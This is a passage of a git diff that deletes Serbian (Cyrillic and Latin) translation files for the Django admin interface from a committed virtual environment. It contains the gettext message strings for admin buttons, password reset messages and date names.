изабраних" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 од %(cnt)s изабрано" - -msgid "Delete" -msgstr "Обриши" - -#, python-format -msgid "Change history: %s" -msgstr "Историјат измена: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Да би избрисали %(class_name)s%(instance)s потребно је брисати и следеће " -"заштићене повезане објекте: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django администрација сајта" - -msgid "Django administration" -msgstr "Django администрација" - -msgid "Site administration" -msgstr "Администрација система" - -msgid "Log in" -msgstr "Пријава" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s администрација" - -msgid "Page not found" -msgstr "Страница није пронађена" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Жао нам је, тражена страница није пронађена." - -msgid "Home" -msgstr "Почетна" - -msgid "Server error" -msgstr "Грешка на серверу" - -msgid "Server error (500)" -msgstr "Грешка на серверу (500)" - -msgid "Server Error (500)" -msgstr "Грешка на серверу (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Десила се грешка. Пријављена је администраторима сајта преко е-поште и " -"требало би да ускоро буде исправљена. Хвала Вам на стрпљењу." - -msgid "Run the selected action" -msgstr "Покрени одабрану радњу" - -msgid "Go" -msgstr "Почни" - -msgid "Click here to select the objects across all pages" -msgstr "Изабери све објекте на овој страници." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Изабери све %(module_name)s од %(total_count)s укупно." - -msgid "Clear selection" -msgstr "Поништи избор" - -msgid "Breadcrumbs" -msgstr "Мрвице" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Модели у апликацији %(name)s" - -msgid "Model name" -msgstr "Име модела" - -msgid "Add link" -msgstr "Додај везу" - -msgid "Change or view list link" -msgstr "Промени или погледај везу листе" - -msgid "Add" -msgstr "Додај" - -msgid "View" -msgstr "Преглед" - -msgid "You don’t have permission to view or edit anything." -msgstr "Немате дозволе да погледате или измените било шта." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Након што направите корисника, моћи ћете да измените више корисничких опција." - -msgid "Error:" -msgstr "Грешка:" - -msgid "Change password" -msgstr "Промена лозинке" - -msgid "Set password" -msgstr "Постави лозинку" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Молимо исправите грешку испод." -msgstr[1] "Молимо исправите грешке испод." -msgstr[2] "Молимо исправите грешке испод." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Унесите нову лозинку за корисника %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -" Ова акција ћеомогућити аутентификацију засновану на " -"лозинки за овог корисника." - -msgid "Disable password-based authentication" -msgstr "Онемогући аутентификацију засновану на лозинки" - -msgid "Enable password-based authentication" -msgstr "Омогући аутентификацију засновану на лозинки" - -msgid "Skip to main content" -msgstr "Пређи на главни садржај" - -msgid "Welcome," -msgstr "Добродошли," - -msgid "View site" -msgstr "Погледај сајт" - -msgid "Documentation" -msgstr "Документација" - -msgid "Log out" -msgstr "Одјава" - -#, python-format -msgid "Add %(name)s" -msgstr "Додај објекат класе %(name)s" - -msgid "History" -msgstr "Историјат" - -msgid "View on site" -msgstr "Преглед на сајту" - -msgid "Filter" -msgstr "Филтер" - -msgid "Hide counts" -msgstr "Сакриј бројање" - -msgid "Show counts" -msgstr "Прикажи бројање" - -msgid "Clear all filters" -msgstr "Обриши све филтере" - -msgid "Remove from sorting" -msgstr "Избаци из сортирања" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Приоритет сортирања: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Укључи/искључи сортирање" - -msgid "Toggle theme (current theme: auto)" -msgstr "Укључи/искључи тему (тренутна тема: ауто)" - -msgid "Toggle theme (current theme: light)" -msgstr "Укључи/искључи тему (тренутна тема: светла)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Укључи/искључи тему (тренутна тема: тамна)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Уклањање %(object_name)s „%(escaped_object)s“ повлачи уклањање свих објеката " -"који су повезани са овим објектом, али ваш налог нема дозволе за брисање " -"следећих типова објеката:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Да би избрисали изабран %(object_name)s „%(escaped_object)s“ потребно је " -"брисати и следеће заштићене повезане објекте:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Да сигурни да желите да обришете %(object_name)s „%(escaped_object)s“? " -"Следећи објекти који су у вези са овим објектом ће такође бити обрисани:" - -msgid "Objects" -msgstr "Објекти" - -msgid "Yes, I’m sure" -msgstr "Да, сигуран сам" - -msgid "No, take me back" -msgstr "Не, хоћу назад" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Да би избрисали изабране %(objects_name)s потребно је брисати и заштићене " -"повезане објекте, међутим ваш налог нема дозволе за брисање следећих типова " -"објеката:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Да би избрисали изабране %(objects_name)s потребно је брисати и следеће " -"заштићене повезане објекте:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Да ли сте сигурни да желите да избришете изабране %(objects_name)s? Сви " -"следећи објекти и објекти са њима повезани ће бити избрисани:" - -msgid "Delete?" -msgstr "Брисање?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -msgid "Summary" -msgstr "Сумарно" - -msgid "Recent actions" -msgstr "Скорашње акције" - -msgid "My actions" -msgstr "Моје акције" - -msgid "None available" -msgstr "Нема података" - -msgid "Added:" -msgstr "Додато:" - -msgid "Changed:" -msgstr "Измењено:" - -msgid "Deleted:" -msgstr "Обрисано:" - -msgid "Unknown content" -msgstr "Непознат садржај" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Нешто није уреду са вашом базом података. Проверите да ли постоје " -"одговарајуће табеле и да ли одговарајући корисник има приступ бази." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Пријављени сте као %(username)s, али немате овлашћења да приступите овој " -"страни. Да ли желите да се пријавите под неким другим налогом?" - -msgid "Forgotten your login credentials?" -msgstr "Заборавили сте своје акредитиве за пријаву?" - -msgid "Toggle navigation" -msgstr "Укључи/искључи мени" - -msgid "Sidebar" -msgstr "Бочна трака" - -msgid "Start typing to filter…" -msgstr "Почните да куцате да бисте филтрирали…" - -msgid "Filter navigation items" -msgstr "Филтрирајте ставке навигације" - -msgid "Date/time" -msgstr "Датум/време" - -msgid "User" -msgstr "Корисник" - -msgid "Action" -msgstr "Радња" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "унос" -msgstr[1] "уноса" -msgstr[2] "уноса" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Овај објекат нема забележен историјат измена. Вероватно није додат кроз овај " -"сајт за администрацију." - -msgid "Show all" -msgstr "Прикажи све" - -msgid "Save" -msgstr "Сачувај" - -msgid "Popup closing…" -msgstr "Попуп се затвара..." - -msgid "Search" -msgstr "Претрага" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s резултат" -msgstr[1] "%(counter)s резултата" -msgstr[2] "%(counter)s резултата" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "укупно %(full_result_count)s" - -msgid "Save as new" -msgstr "Сачувај као нови" - -msgid "Save and add another" -msgstr "Сачувај и додај следећи" - -msgid "Save and continue editing" -msgstr "Сачувај и настави са изменама" - -msgid "Save and view" -msgstr "Сними и погледај" - -msgid "Close" -msgstr "Затвори" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Измени одабрани модел %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Додај још један модел %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Обриши одабрани модел %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Изабран приказ %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Хвала што сте данас провели време на овом сајту." - -msgid "Log in again" -msgstr "Поновна пријава" - -msgid "Password change" -msgstr "Измена лозинке" - -msgid "Your password was changed." -msgstr "Ваша лозинка је измењена." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Из безбедносних разлога прво унесите своју стару лозинку, а нову затим " -"унесите два пута да бисмо могли да проверимо да ли сте је правилно унели." - -msgid "Change my password" -msgstr "Измени моју лозинку" - -msgid "Password reset" -msgstr "Ресетовање лозинке" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Ваша лозинка је постављена. Можете се пријавити." - -msgid "Password reset confirmation" -msgstr "Потврда ресетовања лозинке" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Унесите нову лозинку два пута како бисмо могли да проверимо да ли сте је " -"правилно унели." - -msgid "New password:" -msgstr "Нова лозинка:" - -msgid "Confirm password:" -msgstr "Потврда лозинке:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Линк за ресетовање лозинке није важећи, вероватно зато што је већ " -"искоришћен. Поново затражите ресетовање лозинке." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Послали смо Вам упутства за постављање лозинке, уколико налог са овом " -"адресом постоји. Требало би да их добијете ускоро." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ако не добијете поруку, проверите да ли сте унели добру адресу са којом сте " -"се и регистровали и проверите фасциклу за нежељену пошту." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Примате ову поруку зато што сте затражили ресетовање лозинке за кориснички " -"налог на сајту %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Идите на следећу страницу и поставите нову лозинку." - -msgid "In case you’ve forgotten, you are:" -msgstr "У случају да сте заборавили, ви сте:" - -msgid "Thanks for using our site!" -msgstr "Хвала што користите наш сајт!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Екипа сајта %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Заборавили сте лозинку? Унесите адресу е-поште испод и послаћемо Вам на њу " -"упутства за постављање нове лозинке." - -msgid "Email address:" -msgstr "Адреса е-поште:" - -msgid "Reset my password" -msgstr "Ресетуј моју лозинку" - -msgid "Select all objects on this page for an action" -msgstr "Изаберите све објекте на овој страници за радњу" - -msgid "All dates" -msgstr "Сви датуми" - -#, python-format -msgid "Select %s" -msgstr "Одабери објекат класе %s" - -#, python-format -msgid "Select %s to change" -msgstr "Одабери објекат класе %s за измену" - -#, python-format -msgid "Select %s to view" -msgstr "Одабери %s за преглед" - -msgid "Date:" -msgstr "Датум:" - -msgid "Time:" -msgstr "Време:" - -msgid "Lookup" -msgstr "Претражи" - -msgid "Currently:" -msgstr "Тренутно:" - -msgid "Change:" -msgstr "Измена:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.mo deleted file mode 100644 index f781f908..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.po deleted file mode 100644 index 1e5a04d9..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,321 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Branko Kokanovic , 2018 -# Igor Jerosimić, 2021,2023,2025 -# Jannis Leidel , 2011 -# Janos Guljas , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Igor Jerosimić, 2021,2023,2025\n" -"Language-Team: Serbian (http://app.transifex.com/django/django/language/" -"sr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sr\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Доступни %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" -"Изаберите %s тако што ћете их означити, а затим кликните дугме са стрелицом " -"\"Изабери\"." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Филтрирајте листу доступних елемената „%s“." - -msgid "Filter" -msgstr "Филтер" - -#, javascript-format -msgid "Choose all %s" -msgstr "Изабери све %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Изабери одабрани %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Уклони изабране %s" - -#, javascript-format -msgid "Chosen %s" -msgstr "Изабрано „%s“" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Уклоните %s тако што ћете их означити, а затим кликните дугме са стрелицом " -"\"Уклони\"." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Унесите ово поље да бисте филтрирали листу изабраних %s." - -msgid "(click to clear)" -msgstr "(кликни да обришеш)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Уклони све %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s изабрана опција није видљива" -msgstr[1] "%s изабране опције нису видљиве" -msgstr[2] "%s изабраних опција није видљиво" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s од %(cnt)s изабран" -msgstr[1] "%(sel)s од %(cnt)s изабрана" -msgstr[2] "%(sel)s од %(cnt)s изабраних" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Имате несачиване измене. Ако покренете акцију, измене ће бити изгубљене." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Изабрали сте акцију, али нисте сачували ваше промене у појединачна поља. " -"Кликните на OK да сачувате промене. Биће неопходно да поново покренете " -"акцију." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Изабрали сте акцију и нисте направили ниједну промену на појединачним " -"пољима. Вероватно тражите Крени дугме уместо Сачувај." - -msgid "Now" -msgstr "Тренутно време" - -msgid "Midnight" -msgstr "Поноћ" - -msgid "6 a.m." -msgstr "18ч" - -msgid "Noon" -msgstr "Подне" - -msgid "6 p.m." -msgstr "18ч" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Обавештење: %s сат сте испред серверског времена." -msgstr[1] "Обавештење: %s сата сте испред серверског времена." -msgstr[2] "Обавештење: %s сати сте испред серверског времена." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Обавештење: %s сат сте иза серверског времена." -msgstr[1] "Обавештење: %s сата сте иза серверског времена." -msgstr[2] "Обавештење: %s сати сте иза серверског времена." - -msgid "Choose a Time" -msgstr "Одаберите време" - -msgid "Choose a time" -msgstr "Одабир времена" - -msgid "Cancel" -msgstr "Поништи" - -msgid "Today" -msgstr "Данас" - -msgid "Choose a Date" -msgstr "Одаберите датум" - -msgid "Yesterday" -msgstr "Јуче" - -msgid "Tomorrow" -msgstr "Сутра" - -msgid "January" -msgstr "Јануар" - -msgid "February" -msgstr "Фебруар" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Април" - -msgid "May" -msgstr "Мај" - -msgid "June" -msgstr "Јун" - -msgid "July" -msgstr "Јул" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Септембар" - -msgid "October" -msgstr "Октобар" - -msgid "November" -msgstr "Новембар" - -msgid "December" -msgstr "Децембар" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "јан" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "феб" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "март" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "апр" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "мај" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "јун" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "јул" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "авг" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "сеп" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "окт" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "нов" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "дец" - -msgid "Sunday" -msgstr "недеља" - -msgid "Monday" -msgstr "понедељак" - -msgid "Tuesday" -msgstr "уторак" - -msgid "Wednesday" -msgstr "среда" - -msgid "Thursday" -msgstr "четвртак" - -msgid "Friday" -msgstr "петак" - -msgid "Saturday" -msgstr "субота" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "нед" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "пон" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "уто" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "сре" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "чет" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "пет" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "суб" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Н" - -msgctxt "one letter Monday" -msgid "M" -msgstr "П" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "У" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "С" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Ч" - -msgctxt "one letter Friday" -msgid "F" -msgstr "П" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "С" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.mo deleted file mode 100644 index e96f05f1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.po deleted file mode 100644 index 938936aa..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.po +++ /dev/null @@ -1,1003 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Aco Jugo, 2024 -# Igor Jerosimić, 2019,2024-2025 -# Jannis Leidel , 2011 -# Janos Guljas , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Igor Jerosimić, 2019,2024-2025\n" -"Language-Team: Serbian (Latin) (http://app.transifex.com/django/django/language/sr@latin/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sr@latin\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#: contrib/admin/actions.py:17 -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Briši označene objekte klase %(verbose_name_plural)s" - -#: contrib/admin/actions.py:52 -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Uspešno obrisano: %(count)d %(items)s." - -#: contrib/admin/actions.py:62 contrib/admin/options.py:2250 -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nesuspelo brisanje %(name)s" - -#: contrib/admin/actions.py:64 -#: contrib/admin/templates/admin/delete_selected_confirmation.html:17 -msgid "Delete multiple objects" -msgstr "Brisanje više objekata" - -#: contrib/admin/apps.py:13 -msgid "Administration" -msgstr "Administracija" - -#: contrib/admin/filters.py:154 contrib/admin/filters.py:296 -#: contrib/admin/filters.py:365 contrib/admin/filters.py:433 -#: contrib/admin/filters.py:608 contrib/admin/filters.py:702 -msgid "All" -msgstr "Svi" - -#: contrib/admin/filters.py:366 -msgid "Yes" -msgstr "Da" - -#: contrib/admin/filters.py:367 -msgid "No" -msgstr "Ne" - -#: contrib/admin/filters.py:381 -msgid "Unknown" -msgstr "Nepoznato" - -#: contrib/admin/filters.py:491 -msgid "Any date" -msgstr "Svi datumi" - -#: contrib/admin/filters.py:493 -msgid "Today" -msgstr "Danas" - -#: contrib/admin/filters.py:500 -msgid "Past 7 days" -msgstr "Poslednjih 7 dana" - -#: contrib/admin/filters.py:507 -msgid "This month" -msgstr "Ovaj mesec" - -#: contrib/admin/filters.py:514 -msgid "This year" -msgstr "Ova godina" - -#: contrib/admin/filters.py:524 -msgid "No date" -msgstr "Nema datuma" - -#: contrib/admin/filters.py:525 -msgid "Has date" -msgstr "Ima datum" - -#: contrib/admin/filters.py:703 -msgid "Empty" -msgstr "Prazno" - -#: contrib/admin/filters.py:704 -msgid "Not empty" -msgstr "Nije prazno" - -#: contrib/admin/forms.py:14 -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note" -" that both fields may be case-sensitive." -msgstr "Molim vas unesite ispravno %(username)s i lozinku. Obratite pažnju da mala i velika slova predstavljaju različite karaktere." - -#: contrib/admin/helpers.py:31 -msgid "Action:" -msgstr "Radnja:" - -#: contrib/admin/helpers.py:433 -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Dodaj još jedan objekat klase %(verbose_name)s." - -#: contrib/admin/helpers.py:437 -msgid "Remove" -msgstr "Obriši" - -#: contrib/admin/models.py:20 -msgid "Addition" -msgstr "Dodavanja" - -#: contrib/admin/models.py:21 contrib/admin/templates/admin/app_list.html:38 -#: contrib/admin/templates/admin/edit_inline/stacked.html:20 -#: contrib/admin/templates/admin/edit_inline/tabular.html:40 -msgid "Change" -msgstr "Izmeni" - -#: contrib/admin/models.py:22 -msgid "Deletion" -msgstr "Brisanja" - -#: contrib/admin/models.py:108 -msgid "action time" -msgstr "vreme radnje" - -#: contrib/admin/models.py:115 -msgid "user" -msgstr "korisnik" - -#: contrib/admin/models.py:120 -msgid "content type" -msgstr "tip sadržaja" - -#: contrib/admin/models.py:124 -msgid "object id" -msgstr "id objekta" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -#: contrib/admin/models.py:127 -msgid "object repr" -msgstr "opis objekta" - -#: contrib/admin/models.py:129 -msgid "action flag" -msgstr "oznaka radnje" - -#: contrib/admin/models.py:132 -msgid "change message" -msgstr "opis izmene" - -#: contrib/admin/models.py:137 -msgid "log entry" -msgstr "zapis u logovima" - -#: contrib/admin/models.py:138 -msgid "log entries" -msgstr "zapisi u logovima" - -#: contrib/admin/models.py:147 -#, python-format -msgid "Added “%(object)s”." -msgstr "Dodat objekat klase „%(object)s“." - -#: contrib/admin/models.py:149 -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Promenjen objekat klase „%(object)s“ - %(changes)s" - -#: contrib/admin/models.py:154 -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Uklonjen objekat klase „%(object)s“." - -#: contrib/admin/models.py:156 -msgid "LogEntry Object" -msgstr "Objekat unosa loga" - -#: contrib/admin/models.py:185 -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Dodat objekat {name} \"{object}\"." - -#: contrib/admin/models.py:190 -msgid "Added." -msgstr "Dodato." - -#: contrib/admin/models.py:198 contrib/admin/options.py:2504 -msgid "and" -msgstr "i" - -#: contrib/admin/models.py:205 -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Izmenjena polja {fields} za {name} \"{object}\"." - -#: contrib/admin/models.py:211 -#, python-brace-format -msgid "Changed {fields}." -msgstr "Izmenjena polja {fields}." - -#: contrib/admin/models.py:221 -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Obrisan objekat {name} \"{object}\"." - -#: contrib/admin/models.py:227 -msgid "No fields changed." -msgstr "Bez izmena u poljima." - -#: contrib/admin/options.py:248 contrib/admin/options.py:292 -msgid "None" -msgstr "Ništa" - -#: contrib/admin/options.py:344 -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Držite „Control“, ili „Command“ na Mac-u da biste obeležili više od jedne stavke." - -#: contrib/admin/options.py:1031 -msgid "Select this object for an action - {}" -msgstr "Izaberi ovaj objekat za radnju - {}" - -#: contrib/admin/options.py:1469 contrib/admin/options.py:1507 -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Objekat {name} \"{obj}\" uspešno dodat." - -#: contrib/admin/options.py:1471 -msgid "You may edit it again below." -msgstr "Možete ga izmeniti opet ispod" - -#: contrib/admin/options.py:1488 -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "Objekat {name} \"{obj}\" uspešno dodat. Možete dodati još jedan {name} ispod." - -#: contrib/admin/options.py:1556 -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "Objekat {name} \"{obj}\" uspešno izmenjen. Možete ga opet izmeniti ispod." - -#: contrib/admin/options.py:1576 -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "Objekat {name} \"{obj}\" uspešno izmenjen. Možete dodati još jedan {name} ispod." - -#: contrib/admin/options.py:1598 -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Objekat {name} \"{obj}\" uspešno izmenjen." - -#: contrib/admin/options.py:1676 contrib/admin/options.py:2066 -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "Potrebno je izabrati objekte da bi se izvršila akcija nad njima. Nijedan objekat nije promenjen." - -#: contrib/admin/options.py:1696 -msgid "No action selected." -msgstr "Nije izabrana nijedna akcija." - -#: contrib/admin/options.py:1727 -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Objekat „%(obj)s“ klase %(name)s je uspešno obrisan." - -#: contrib/admin/options.py:1829 -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s sa identifikacijom \"%(key)s\" ne postoji. Možda je izbrisan?" - -#: contrib/admin/options.py:1945 -#, python-format -msgid "Add %s" -msgstr "Dodaj objekat klase %s" - -#: contrib/admin/options.py:1947 -#, python-format -msgid "Change %s" -msgstr "Izmeni objekat klase %s" - -#: contrib/admin/options.py:1949 -#, python-format -msgid "View %s" -msgstr "Pregled %s" - -#: contrib/admin/options.py:2036 -msgid "Database error" -msgstr "Greška u bazi podataka" - -#: contrib/admin/options.py:2126 -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Uspešno promenjen %(count)s %(name)s." -msgstr[1] "Uspešno promenjena %(count)s %(name)s." -msgstr[2] "Uspešno promenjenih %(count)s %(name)s." - -#: contrib/admin/options.py:2157 -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s izabran" -msgstr[1] "Sva %(total_count)s izabrana" -msgstr[2] "Svih %(total_count)s izabranih" - -#: contrib/admin/options.py:2163 -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 od %(cnt)s izabrano" - -#: contrib/admin/options.py:2252 -#: contrib/admin/templates/admin/delete_confirmation.html:18 -#: contrib/admin/templates/admin/submit_line.html:14 -msgid "Delete" -msgstr "Obriši" - -#: contrib/admin/options.py:2308 -#, python-format -msgid "Change history: %s" -msgstr "Istorijat izmena: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#: contrib/admin/options.py:2498 -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#: contrib/admin/options.py:2507 -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would 